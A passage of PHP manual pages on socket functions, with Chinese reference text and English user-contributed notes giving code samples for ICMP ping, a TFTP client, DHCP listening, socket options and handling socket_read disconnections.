        for ($i = 0; $i < $datasize; $i++)
                $packet .= chr(0);

        $chk = icmpChecksum($packet);

        $packet[2] = $chk[0]; // checksum init
        $packet[3] = $chk[1]; // checksum init

        $sock = socket_create(AF_INET, SOCK_RAW,  getprotobyname('icmp'));
        $time_start = microtime();
    socket_sendto($sock, $packet, strlen($packet), 0, $host, $port);

    $read   = array($sock);
        $write  = NULL;
        $except = NULL;

        $select = socket_select($read, $write, $except, 0, $timeout * 1000);
        if ($select === NULL)
        {
                $g_icmp_error = "Select Error";
                socket_close($sock);
                return -1;
        }
        elseif ($select === 0)
        {
                $g_icmp_error = "Timeout";
                socket_close($sock);
                return -1;
        }

    $recv = '';
    $time_stop = microtime();
    socket_recvfrom($sock, $recv, 65535, 0, $host, $port);
        $recv = unpack('C*', $recv);

        if ($recv[10] !== 1) // ICMP proto = 1
        {
                $g_icmp_error = "Not ICMP packet";
                socket_close($sock);
                return -1;
        }

        if ($recv[21] !== 0) // ICMP response = 0
        {
                $g_icmp_error = "Not ICMP response";
                socket_close($sock);
                return -1;
        }

        if ($ident[0] !== $recv[25] || $ident[1] !== $recv[26])
        {
                $g_icmp_error = "Bad identification number";
                socket_close($sock);
                return -1;
        }

        if ($seq[0] !== $recv[27] || $seq[1] !== $recv[28])
        {
                $g_icmp_error = "Bad sequence number";
                socket_close($sock);
                return -1;
        }

        $ms = ($time_stop - $time_start) * 1000;

        if ($ms < 0)
        {
                $g_icmp_error = "Response too long";
                $ms = -1;
        }

        socket_close($sock);

        return $ms;
}

function icmpChecksum($data)
{
        $bit = unpack('n*', $data);
        $sum = array_sum($bit);

        if (strlen($data) % 2) {
                $temp = unpack('C*', $data[strlen($data) - 1]);
                $sum += $temp[1];
        }

        $sum = ($sum >> 16) + ($sum & 0xffff);
        $sum += ($sum >> 16);

        return pack('n*', ~$sum);
}

function getLastIcmpError()
{
        global $g_icmp_error;
        return $g_icmp_error;
}
/// end ping.inc.php ///
?>
jens at surefoot dot com 08-Aug-2006 05:46
Please be aware that RAW sockets (as used for the ping example) are restricted to root accounts on *nix systems. Since web servers hardly ever run as root, they won't work on webpages.

On Windows based servers it should work regardless.
06-Jan-2006 02:36
Here's a ping function that uses sockets instead of exec().  Note: I was unable to get socket_create() to work without running from CLI as root.  I've already calculated the package's checksum to simplify the code (the message is 'ping' but it doesn't actually matter).

<?php

function ping($host) {
    $package = "\x08\x00\x19\x2f\x00\x00\x00\x00\x70\x69\x6e\x67";

    /* create the socket, the last '1' denotes ICMP */
    $socket = socket_create(AF_INET, SOCK_RAW, 1);

    /* set socket receive timeout to 1 second */
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 0));

    /* connect to socket */
    socket_connect($socket, $host, null);

    /* record start time */
    list($start_usec, $start_sec) = explode(" ", microtime());
    $start_time = ((float) $start_usec + (float) $start_sec);

    socket_send($socket, $package, strlen($package), 0);

    if(@socket_read($socket, 255)) {
        list($end_usec, $end_sec) = explode(" ", microtime());
        $end_time = ((float) $end_usec + (float) $end_sec);

        $total_time = $end_time - $start_time;

        return $total_time;
    } else {
        return false;
    }

    socket_close($socket);
}

?>
kyle gibson 28-Oct-2005 05:48
Took me about 20 minutes to figure out the proper arguments to supply for a AF_UNIX socket. Anything else, and I would get a PHP warning about the 'type' not being supported. I hope this saves someone else time.

<?php
$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);
// code
?>
david at eder dot us 25-Jan-2005 11:42
Sometimes when you are running CLI, you need to know your own ip address.

<?php

  $addr = my_ip();
  echo "my ip address is $addr\n";

  function my_ip($dest='64.0.0.0', $port=80)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
    socket_connect($socket, $dest, $port);
    socket_getsockname($socket, $addr, $port);
    socket_close($socket);
    return $addr;
  }
?>
david at eder dot us 08-Jun-2004 08:07
Seems there aren't any examples of UDP clients out there.  This is a tftp client.  I hope this makes someone's life easier.

<?php
  function tftp_fetch($host, $filename)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

    // create the request packet
    $packet = chr(0) . chr(1) . $filename . chr(0) . 'octet' . chr(0);
    // UDP is connectionless, so we just send on it.
    socket_sendto($socket, $packet, strlen($packet), 0x100, $host, 69);

    $buffer = '';
    $port = '';
    $ret = '';
    do
    {
      // $buffer and $port both come back with information for the ack
      // 516 = 4 bytes for the header + 512 bytes of data
      socket_recvfrom($socket, $buffer, 516, 0, $host, $port);

      // add the block number from the data packet to the ack packet
      $packet = chr(0) . chr(4) . substr($buffer, 2, 2);
      // send ack
      socket_sendto($socket, $packet, strlen($packet), 0, $host, $port);

      // append the data to the return variable
      // for large files this function should take a file handle as an arg
      $ret .= substr($buffer, 4);
    }
    while(strlen($buffer) == 516);  // the first non-full packet is the last.
    return $ret;
  }
?>
evan at coeus hyphen group dot com 14-Feb-2002 06:33
Okay I talked with Richard a little (via e-mail). We agree that getprotobyname() and using the constants should be the same in functionality and speed, the use of one or the other is merely coding style. Personally, we both think the constants are prettier :).

The eight different protocols are the ones implemented in PHP- not the total number in existance (RFC 1340 has 98).

All we disagree on is using 0- Richard says that "accordning to the official unix/bsd sockets 0 is more than fine." I think that since 0 is a reserved number according to RFC 1320, and when used usually refers to IP, not one of it's sub-protocols (TCP, UDP, etc.)


Export a socket into a stream that encapsulates a socket

  • ? socket_create
  • socket_get_option ?
  • PHP Manual
  • Socket 函数
  • Export a socket into a stream that encapsulates a socket

socket_export_stream

(PHP 7 >= 7.0.7, PHP 8)

socket_export_stream — Export a socket into a stream that encapsulates a socket

说明

socket_export_stream(Socket $socket): resource|false

Warning

本函数还未编写文档，仅有参数列表。

参数

socket

返回值

Return resource 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

User Contributed Notes

There are no user contributed notes for this page.


获取套接字的套接字选项

  • ? socket_export_stream
  • socket_getopt ?
  • PHP Manual
  • Socket 函数
  • 获取套接字的套接字选项

socket_get_option

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

socket_get_option — 获取套接字的套接字选项

说明

socket_get_option(Socket $socket, int $level, int $option): array|int|false

socket_get_option() 函数检索指定 socket 中由 option 参数指定的选项值。

参数

socket

由 socket_create() 或 socket_accept() 创建的 Socket 实例。

level

level 参数定义选项所在的协议级别。例如，在 socket 级别检索选项，将使用 SOL_SOCKET 作为 level 参数值。在其它级别，例如 TCP，可以使用该级别指定的协议号。协议号可以通过 getprotobyname() 获取。

option
套接字可用选项
选项 | 描述 | 类型
SO_DEBUG | 是否记录调试信息。 | int
SO_BROADCAST | 是否支持传输广播消息。 | int
SO_REUSEADDR | 是否可以复用本地地址。 | int
SO_REUSEPORT | 是否可以复用本地端口。 | int
SO_KEEPALIVE | 是否通过定期传输消息来为连接保活。如果连接的套接字对消息未响应，连接将断开，并且正在写入套接字的进程会收到 SIGPIPE 信号。 | int
SO_LINGER

socket 执行 socket_close() 时是否滞留残留数据。默认情况下，当关闭 socket 时，将尝试发送所有还未发送的数据。在面向连接的套接字中，socket_close() 会等待对端确认接收数据。

如果 l_onoff 不为零，且 l_linger 为零，对于面向连接的套接字，将丢弃所有未发送的数据，并发送给对端一个 RST（reset）报文。

另外，如果 l_onoff 不为零，且 l_linger 不为零，socket_close() 将阻塞，直到数据被发送完或者超过 l_linger 指定的时间。如果 socket 设置为非阻塞，socket_close() 将执行失败并返回错误。

array。数组包含两个键： l_onoff 和 l_linger。
SO_OOBINLINE | socket 是否保留带外数据在正常的数据输入队列中。 | int
SO_SNDBUF | 发送缓冲区大小。 | int
SO_RCVBUF | 接收缓冲区大小。 | int
SO_ERROR | 获取错误状态信息并复位。 | int (不能被 socket_set_option() 设置)
SO_TYPE | socket 类型（例如 SOCK_STREAM）。 | int (不能被 socket_set_option() 设置）
SO_DONTROUTE | 发出的消息是否绕过标准路由机制。 | int
SO_RCVLOWAT | socket 写入操作要处理的最小字节数。 | int
SO_RCVTIMEO | 接收超时时间。 | array。数组包含两个键：sec 是超时时间的秒部分，usec 是微秒部分。
SO_SNDTIMEO | 指定输出功能阻塞的超时时长，因为流量控制会阻止数据发送。 | array。数组包含两个键：sec 是超时时间的秒部分，usec 是微秒部分。
SO_SNDLOWAT | socket 输出操作要处理的最小字节数。 | int
TCP_NODELAY | 是否禁用 TCP Nagle 算法。 | int
MCAST_JOIN_GROUP | 加入多播组。 | array 包含 "group" 键，指定 string 类型的 IPv4 或 IPv6 多播地址；另一个键 "interface" 指定（int 类型）接口编号或是 string 类型的接口名称，比如 "eth0"。可以指定 0 来使用路由规则选择接口。（仅在 socket_set_option() 中使用）
MCAST_LEAVE_GROUP | 离开多播组。 | array。详情见 MCAST_JOIN_GROUP。（仅在 socket_set_option() 中使用）
MCAST_BLOCK_SOURCE | 在已加入的多播组上阻塞接收来自指定源的数据包。 | array 与 MCAST_JOIN_GROUP 有相同的键，额外增加 string 类型的 source 键，指定要阻塞的 IPv4 或 IPv6 源地址。（仅在 socket_set_option() 中使用）
MCAST_UNBLOCK_SOURCE | 在已加入的多播组取消阻塞（继续接收）接收来自指定源的数据包。 | array 与 MCAST_BLOCK_SOURCE 格式相同。（仅在 socket_set_option() 中使用）
MCAST_JOIN_SOURCE_GROUP | 接收源地址与指定多播组匹配的数据包。 | array 与 MCAST_BLOCK_SOURCE 格式相同。（仅在 socket_set_option() 中使用）
MCAST_LEAVE_SOURCE_GROUP | 停止接收源地址与指定多播组匹配的数据包。 | array 与 MCAST_BLOCK_SOURCE 格式相同。（仅在 socket_set_option() 中使用）
IP_MULTICAST_IF | IPv4 多播数据包的输出接口。 | 使用 int 类型指定接口编号或使用 string 类型指定接口名，例如 eth0。0 表示选择接口时使用路由表。socket_set_option() 函数返回接口索引。注意，不像 C API，此选项无需提供 IP 地址。这样就消除了 IP_MULTICAST_IF 和 IPV6_MULTICAST_IF 之间的接口差异。
IPV6_MULTICAST_IF | IPv6 多播数据包的输出接口。 | 与 IP_MULTICAST_IF 相同。
IP_MULTICAST_LOOP | 在已加入的多播组开启或禁用 IPv4 报文的组播环回策略。类 Unix 中作用于发送路径，Windows 中作用于接收路径。 | int（0 或 1）。socket_get_option() 可以接受任何值，并按照常规 PHP 规则转换为布尔值。
IPV6_MULTICAST_LOOP | 与 IP_MULTICAST_LOOP 类似，但用于 IPv6。 | int。详情见 IP_MULTICAST_LOOP。
IP_MULTICAST_TTL | 传出 IPv4 多播数据包的生存时间。这个值需要在 0（数据不传出）到 255 之间。默认值是 1（仅到达本地网络）。 | int 0 到 255 之间。
IPV6_MULTICAST_HOPS | 与 IP_MULTICAST_TTL 类似，但用于 IPv6 数据包。-1 也可以被接受，表示使用默认路由。 | int -1 到 255 之间。
SO_MARK | 在套接字上设置标识符，用于过滤 Linux 中的数据包。 | int
SO_ACCEPTFILTER | 在（FreeBSD 或 NetBSD）监听套接字上添加接受过滤器。FreeBSD 中，需要预先加载接受过滤器内核模块（例如 accf_http）。 | string 过滤器名称（最大长度 15）。
SO_USER_COOKIE | 在套接字上设置标识符，用于过滤 FreeBSD 中的数据包。 | int
SO_RTABLE | 在套接字上设置标识符，用于过滤 OpenBSD 中的数据包。 | int
SO_DONTTRUNC | 保留未读数据。 | int
SO_WANTMORE | 当准备好更多数据时给出提示。 | int
TCP_DEFER_ACCEPT | 在数据准备好之前不通知监听套接字。 | int
SO_INCOMING_CPU | 获取或设置套接字的 CPU 亲和性。 | int
SO_MEMINFO | 获取套接字的内存信息。 | int
SO_BPF_EXTENSIONS | 为套接字附加内核支持的 BPF 扩展。 | int
SO_SETFIB | 为套接字设置路由表（FIB）。（仅 FreeBSD） | int
SOL_FILTER | 过滤套接字的属性。（仅 Solaris/Illumos） | int
TCP_KEEPCNT | 设置 TCP 在断开连接前的最大保活探测次数。 | int
TCP_KEEPIDLE | 设置连接需要保持空闲的时间。 | int
TCP_KEEPINTVL | 设置各个保活探针的间隔时间。 | int
TCP_KEEPALIVE | 设置连接需要保持空闲的时间。（仅 macOS） | int
TCP_NOTSENT_LOWAT | 设置套接字流数据队列中未发送数据的数量限制。（仅 Linux） | int

返回值

返回给定选项的值， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

示例

Example #1 socket_get_option() 示例

<?php
$socket = socket_create_listen(1223);

$linger = array('l_linger' => 1, 'l_onoff' => 1);
socket_set_option($socket, SOL_SOCKET, SO_LINGER, $linger);

var_dump(socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR));
?>

参见

  • socket_create_listen() - 在端口上打开一个套接字以接受连接
  • socket_set_option() - 为套接字设置套接字选项

User Contributed Notes

skydiablo at gmx dot net 08-Mar-2022 11:49
to receive UDP DHCP packets on a dedicated interface, you have to use the undocumented option SO_BINDTODEVICE:

<?php
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

socket_set_option($socket, SOL_SOCKET, SO_BINDTODEVICE, 'eth1');
socket_set_option($socket, SOL_SOCKET, SO_BROADCAST, 1);
socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1);
socket_set_option($socket, SOL_SOCKET, SO_REUSEPORT, 1);

socket_bind($socket, '255.255.255.255', 67);
while (1) {
    if ($src = @socket_recv($socket, $data, 9999, 0)) {
        echo $data . PHP_EOL;
    }
}
?>
prennings at gmail dot com 09-Mar-2014 08:08
I was playing around with this option to use multiply socket connections with same hostname and same port (IRC). However the socket function needed for this is SO_REUSEPORT.

Though the majority of linux distro's does not have that yet officially implented in there distro's.

However for debian there is an patch that can be installed to get it working:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c617f398edd4db2b8567a28e899a88f8f574798d

it has some work but I got it working after a while (Noobie in debian) maybe some other people are facing the same problem as I was.
Chad Lavoie 13-Dec-2010 12:52
If using Unix Sockets, and you want to use SO_PEERCRED, you can use the number 17 for the optname (and SOL_SOCKET for the level).  The PID of the connecting process will be returned.
recycling dot sp dot am at gmail dot com 14-Sep-2010 05:31
Just 2 notes here:
- On UNIX, If SO_DEBUG is set, the php program needs an effective user id of 0.
-  activating SO_OOBINLINE on a socket is equivalent to passing MSG_OOB flag to each recieving functions used with that socket (eg: socket_recv, socket_recvfrom).


别名 socket_get_option

  • ? socket_get_option
  • socket_getpeername ?
  • PHP Manual
  • Socket 函数
  • 别名 socket_get_option

socket_getopt

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_getopt — 别名 socket_get_option()

说明

此函数是该函数的别名： socket_get_option().

User Contributed Notes

There are no user contributed notes for this page.


获取套接字远端名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型

  • ? socket_getopt
  • socket_getsockname ?
  • PHP Manual
  • Socket 函数
  • 获取套接字远端名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型

socket_getpeername

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_getpeername — 获取套接字远端名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型

说明

socket_getpeername(Socket $socket, string &$address, int &$port = null): bool

获取套接字远端名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型。

参数

socket

由 socket_create() 或 socket_accept() 创建的 Socket 实例。

address

如果给定套接字的类型是 AF_INET 或 AF_INET6，socket_getpeername() 将在参数 address 上返回对端（远端） IP 地址 （例如：127.0.0.1 或 fe80::1），如果存在端口号，也将关联到 port 参数。

如果给定套接字的类型是 AF_UNIX，socket_getpeername() 将在 address 参数中返回 Unix 文件系统路径（例如：/var/run/daemon.sock）。

port

如果提供此参数，它将保存 address 关联的端口号。

返回值

成功时返回 true， 或者在失败时返回 false。 如果套接字类型不是 AF_INET、AF_INET6 或 AF_UNIX 中的任意一个，socket_getpeername() 也可能返回 false，在此情况下，套接字最后的错误码不会更新。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

注释

Note:

socket_getpeername() 不应该用于 socket_accept()
创建的 AF_UNIX 类型套接字。只有使用 socket_connect()
创建的套接字或调用过 socket_bind() 的服务端套接字会返回有意义的值。

Note:

为了让 socket_getpeername() 返回有意义的值，套接字使用 "peer" 的概念是有意义的（the socket it is applied upon must of course be one for which the concept of "peer" makes sense）。

参见

  • socket_getsockname() - 获取套接字本地端的名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

Anonymous 12-Mar-2016 01:06
The reason it won't work for UDP is that UDP is stateless; logically there are no peers other than at the time a packet is sent or received. Or more strictly, a UDP socket can interact with 0..N peers.
redph0enix at hotmail dot com 09-Sep-2003 08:57
socket_getpeername will not work for UDP sockets. Instead, use socket_recvfrom - it provides the IP address and port of the source server - eg:

$size=socket_recvfrom($socket,$input,65535,0,$ipaddress,$port);
echo "Received [$input] ($size bytes) from IP $ipaddress Port $port\n";


获取套接字本地端的名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型

  • ? socket_getpeername
  • socket_import_stream ?
  • PHP Manual
  • Socket 函数
  • 获取套接字本地端的名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型

socket_getsockname

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_getsockname — 获取套接字本地端的名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型

说明

socket_getsockname(Socket $socket, string &$address, int &$port = null): bool

Note:

    socket_getsockname() 不应该用于 socket_connect()
    创建的 AF_UNIX 类型套接字。只有使用 socket_accept()
    创建的套接字或调用过 socket_bind() 的服务端套接字会返回有意义的值。

参数

socket

由 socket_create() 或 socket_accept() 创建的 Socket 实例。

address

如果给定套接字的类型是 AF_INET 或 AF_INET6，socket_getsockname() 将在参数 address 上返回本地 IP 地址 （例如：127.0.0.1 或 fe80::1），如果存在端口号，也将关联到 port 参数。

如果给定套接字的类型是 AF_UNIX，socket_getsockname() 将在 address 参数中返回 Unix 文件系统路径（例如：/var/run/daemon.sock）。

port

如果提供此参数，它将保存关联的端口号。

返回值

成功时返回 true， 或者在失败时返回 false。 如果套接字类型不是 AF_INET、AF_INET6 或 AF_UNIX 中的任意一个，socket_getsockname() 也可能返回 false，在此情况下，套接字最后的错误码不会更新。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

参见

  • socket_getpeername() - 获取套接字远端名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

CXJ 17-Sep-2014 07:28
Curiously, getsockname() works for socket_create() and socket_create_pair() Unix-domain (AF_UNIX) sockets if one calls socket_bind() after creation to name the formerly anonymous socket(s).

Using a socket_bind() call also results in a file system "file" (socket, first character 's' in an "ls -l" listing) being created with the given name.  Such a "file" will need to be removed explicitly, as closing the socket will not remove it.


导入 stream

  • ? socket_getsockname
  • socket_last_error ?
  • PHP Manual
  • Socket 函数
  • 导入 stream

socket_import_stream

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

socket_import_stream — 导入 stream

说明

socket_import_stream(resource $stream): Socket|false

导入封装了 socket 的 stream 到 socket 扩展资源中。

参数

stream

要导入的 stream 资源。

返回值

发生错误时返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，该函数现在返回 Socket 实例；在此之前，返回 resource。

示例

Example #1 socket_import_stream() 示例

<?php
$stream = stream_socket_server("udp://0.0.0.0:58380", $errno, $errstr, STREAM_SERVER_BIND);
$sock = socket_import_stream($stream);
?>

参见

  • stream_socket_server() - 创建 Internet 或 Unix 域服务器套接字

User Contributed Notes

lcharron at meditech dot com 18-Nov-2015 08:34
This function does not support SSL connections.

I have submitted a bug/enhacement request because of this: https://bugs.php.net/bug.php?id=70939


返回套接字上的最后一个错误

  • ? socket_import_stream
  • socket_listen ?
  • PHP Manual
  • Socket 函数
  • 返回套接字上的最后一个错误

socket_last_error

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_last_error — 返回套接字上的最后一个错误

说明

socket_last_error(?Socket $socket = null): int

如果将 Socket 实例传递给此函数，将会返回指定套接字发生的最后一个错误。如果
socket 为 null, 则返回最后一个失败的套接字函数的错误码。此函数对以下情况特别有帮助：
socket_create() 失败时不会返回套接字，以及
socket_select() 失败的原因与特定套接字没有直接联系。
错误码适合提供给 socket_strerror()，将返回指定错误码的字符串描述。

如果没有错误或者已经使用 socket_clear_error() 清除了错误，则函数返回 0。

参数

socket

通过 socket_create() 创建的 Socket 实例。

返回值

此函数返回套接字错误码。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。
8.0.0 | socket 现在可为空（nullable）。

示例

Example #1 socket_last_error() 示例

<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if ($socket === false) {
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);

die("Couldn't create socket: [$errorcode] $errormsg");
}
?>

注释

Note:

socket_last_error() 不会清除错误代码，如果需要可以使用 socket_clear_error() 清除。

User Contributed Notes

divinity76 at gmail dot com 19-Jan-2019 08:21
note that socket_last_error() cache the last error from the last socket syscall, it does not actually query the OS for the last error on the socket, so if an async socket have an error after the last async operation started successfully, socket_last_error() doesn't know about it, but  socket_get_option($sock, SOL_SOCKET, SO_ERROR) actually query the OS, or so it seems... observed on PHP 7.1.16 on Cygwin on win7 x64 SP1 with non-blocking sockets, socket_last_error() never caught on to the fact that the current error had changed from EINPROGRESS (non-blocking connect) to 0 (connection successful)
ca at php dot spamtrak dot org 15-Dec-2009 02:33
This is a bit long, but personally I prefer to use the standard C defines in my code.

<?php

define('ENOTSOCK',      88);    /* Socket operation on non-socket */
define('EDESTADDRREQ',  89);    /* Destination address required */
define('EMSGSIZE',      90);    /* Message too long */
define('EPROTOTYPE',    91);    /* Protocol wrong type for socket */
define('ENOPROTOOPT',   92);    /* Protocol not available */
define('EPROTONOSUPPORT', 93);  /* Protocol not supported */
define('ESOCKTNOSUPPORT', 94);  /* Socket type not supported */
define('EOPNOTSUPP',    95);    /* Operation not supported on transport endpoint */
define('EPFNOSUPPORT',  96);    /* Protocol family not supported */
define('EAFNOSUPPORT',  97);    /* Address family not supported by protocol */
define('EADDRINUSE',    98);    /* Address already in use */
define('EADDRNOTAVAIL', 99);    /* Cannot assign requested address */
define('ENETDOWN',      100);   /* Network is down */
define('ENETUNREACH',   101);   /* Network is unreachable */
define('ENETRESET',     102);   /* Network dropped connection because of reset */
define('ECONNABORTED',  103);   /* Software caused connection abort */
define('ECONNRESET',    104);   /* Connection reset by peer */
define('ENOBUFS',       105);   /* No buffer space available */
define('EISCONN',       106);   /* Transport endpoint is already connected */
define('ENOTCONN',      107);   /* Transport endpoint is not connected */
define('ESHUTDOWN',     108);   /* Cannot send after transport endpoint shutdown */
define('ETOOMANYREFS',  109);   /* Too many references: cannot splice */
define('ETIMEDOUT',     110);   /* Connection timed out */
define('ECONNREFUSED',  111);   /* Connection refused */
define('EHOSTDOWN',     112);   /* Host is down */
define('EHOSTUNREACH',  113);   /* No route to host */
define('EALREADY',      114);   /* Operation already in progress */
define('EINPROGRESS',   115);   /* Operation now in progress */
define('EREMOTEIO',     121);   /* Remote I/O error */
define('ECANCELED',     125);   /* Operation Canceled */
?>


监听套接字的连接

  • ? socket_last_error
  • socket_read ?
  • PHP Manual
  • Socket 函数
  • 监听套接字的连接

socket_listen

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_listen — 监听套接字的连接

说明

socket_listen(Socket $socket, int $backlog = 0): bool

socket_create() 创建套接字 socket 并通过 socket_bind() 绑定名称后，可以监听 socket 收到的连接。

socket_listen() 仅适用于 SOCK_STREAM 或 SOCK_SEQPACKET 类型的套接字。

参数

socket

由 socket_create() 或 socket_addrinfo_bind() 创建的套接字实例。

backlog

backlog 指定处理连接请求队列的最大值。如果一个连接请求到达时队列已满，客户端可能会收到 ECONNREFUSED 的错误提示。若底层协议支持重传，则忽略该请求，以便重试成功。。

Note:

传递给 backlog 参数的最大值取决于底层平台。Linux 中，超过最大值将默认截取为 SOMAXCONN。win32 中，如果超过 SOMAXCONN 的值，负责套接字的底层服务将把 backlog 设置为最大的 reasonable 合理值，在此平台上，没有提供可以找到 backlog 实际值的标准描述。

返回值

成功时返回 true， 或者在失败时返回 false。 可以通过 socket_last_error() 来检索错误码。将错误码作为参数传递给 socket_strerror() 以获得错误的文本解释。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

参见

  • socket_accept() - 接受套接字上的连接
  • socket_bind() - 给套接字绑定名字
  • socket_connect() - 开启一个套接字连接
  • socket_create() - 创建一个套接字（通讯节点）
  • socket_strerror() - 返回描述套接字错误的字符串
  • socket_addrinfo_bind() - 从给定的 addrinfo 创建并绑定一个套接字

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 05:52
<?php
// create for tcp
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1);
sleep(20);
?>

<fruit>
netstat  -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      1839/php


从套接字中读取最大长度的数据

  • ? socket_listen
  • socket_recv ?
  • PHP Manual
  • Socket 函数
  • 从套接字中读取最大长度的数据

socket_read

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_read — 从套接字中读取最大长度的数据

说明

socket_read(Socket $socket, int $length, int $mode = PHP_BINARY_READ): string|false

socket_read() 函数是从 socket_create() 或 socket_accept() 函数所创建的 Socket 实例 socket 中读取数据。

参数

socket

使用 socket_create() 或 socket_accept() 函数创建的 Socket 实例。

length

length 参数指定了最大能够读取的字节数。否则您可以使用 \r、\n、\0 结束读取（根据 mode 参数设置，请参见下文）。

mode

可选参数 mode 是一个命名常量：

  • PHP_BINARY_READ （默认）- 使用系统的 recv() 函数。二进制安全地读取数据。
  • PHP_NORMAL_READ - 读取到 \n、\r 时停止。

返回值

socket_read() 返回一个字符串，表示接收到的数据。如果发生了错误（包括远程主机关闭了连接），则返回 false。错误码可使用 socket_last_error() 获取。也可使用 socket_strerror() 来获取错误码的文字描述。

Note:

当套接字中没有更多数据可读取时，socket_read() 返回一个长度为 0 的空字符串（""）。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

参见

  • socket_accept() - 接受套接字上的连接
  • socket_bind() - 给套接字绑定名字
  • socket_connect() - 开启一个套接字连接
  • socket_listen() - 监听套接字的连接
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串
  • socket_write() - 向套接字写数据

User Contributed Notes

d dot bergloev at gmail dot com 07-Dec-2019 10:04
Binary read is the correct way to read data in most cases, whereas "normal read", is a strange and lazy PHP built mode, that works mostly with terminal data.

If you want to keep track of closed connections with binary read, the correct way is NOT to switch from binary to "normal", like some suggests. The correct way is to create some test scenarios and see how PHP deals with specific circumstances.

Here is what a quick test shows, when working with non-blocking sockets.

<?php
$input = socket_read($socket, 1024);

// In most cases, error produces an empty string and not FALSE
if ($input === FALSE || strcmp($input, '') == 0) {
    $code = socket_last_error($socket);

    // You MUST clear the error, or it will not change on next read
    socket_clear_error($socket);

    if ($code == SOCKET_EAGAIN) {
        // Nothing to read from non-blocking socket, try again later...

    } else {
        // Connection most likely closed, especially if $code is '0'
    }

} else {
    // Deal with the data
}
?>

There are more errors to consider, but this will get you started.
Arvy 13-Jul-2018 03:31
On non-blocking sockets, the function will return "" if no data is received, and even if the client disconnects.

If you want to check if the client disconnected, use ===.

$ret=socket_read($socket);

$ret=="" : connected but no data received or client disconnected
$ret==="" : client disconnected for sure
sahel dot nuri at outlook dot com 24-Jul-2017 03:38
This little, important fact would save your time.
If you want to recognize that your client is disconnected without any message, you have to select the right flag.
Because, if you use the flag PHP_BINARY_READ:
<?php
function read($sock){
    while($buf = @socket_read($sock, 1024 [, PHP_BINARY_READ ]))
        if($buf = trim($buf))
            break;

    return $buf;
}
?>
and the users disconnects, the function will returns an empty string.
But if you use the flag PHP_NORMAL_READ:
<?php
function read($sock){
    while($buf = @socket_read($sock, 1024, PHP_NORMAL_READ))
        if($buf = trim($buf))
            break;

    return $buf;
}
?>
the function will returns a false.

I hope this will help you. I wasted one hour of my time to solve this problem.
berniev 11-Jan-2017 03:54
It is not obvious from the docs or notes...
PHP_NORMAL_MODE is different to PHP_BINARY in that the former blocks regardless of socket_set_nonblock, the latter respects block and nonblock.
dhaubert dot ti at gmail dot com 28-Aug-2015 03:16
A way to wait for a message response by the socket or take the first message incoming.

Note that if the server turn offline, you have a socket resource, but while trying socket_read(), it gives you a warning message that will fill your hard drive kickly due to logging.

The example above try read the message at best 3 times, 3 seconds sleeping for another reading.
<?php
function waitResponse($response = "") {
   $status = "";
   $tries = 3;
   $counter = 0;
   while ($status == $response) {
            $status = socket_read($socket, 1024);
            if(!$status){
               if($counter >= $tries){
                  break;
               }else{
                  $counter++;
                  sleep(3);
               }
            }
   }
return $response;
}
cottton at i-stats dot net 12-Oct-2014 09:39
quote:
"Note:
socket_read() returns a zero length string ("") when there is no more data to read."

This is not true!

In a while loop
(example case few bytes to receive - just enough for 1 call, but you use a loop to be sure you received all data)
if you use
<? socket_set_block($socket); ?>
you will get:
1st call in loop: data
2nd call in loop: a block forever, if there isnt data anymore or w/e happen to the "other side"

So ofc you want to use
<? socket_set_nonblock($socket); ?>
and you will get:
1st call in loop: data
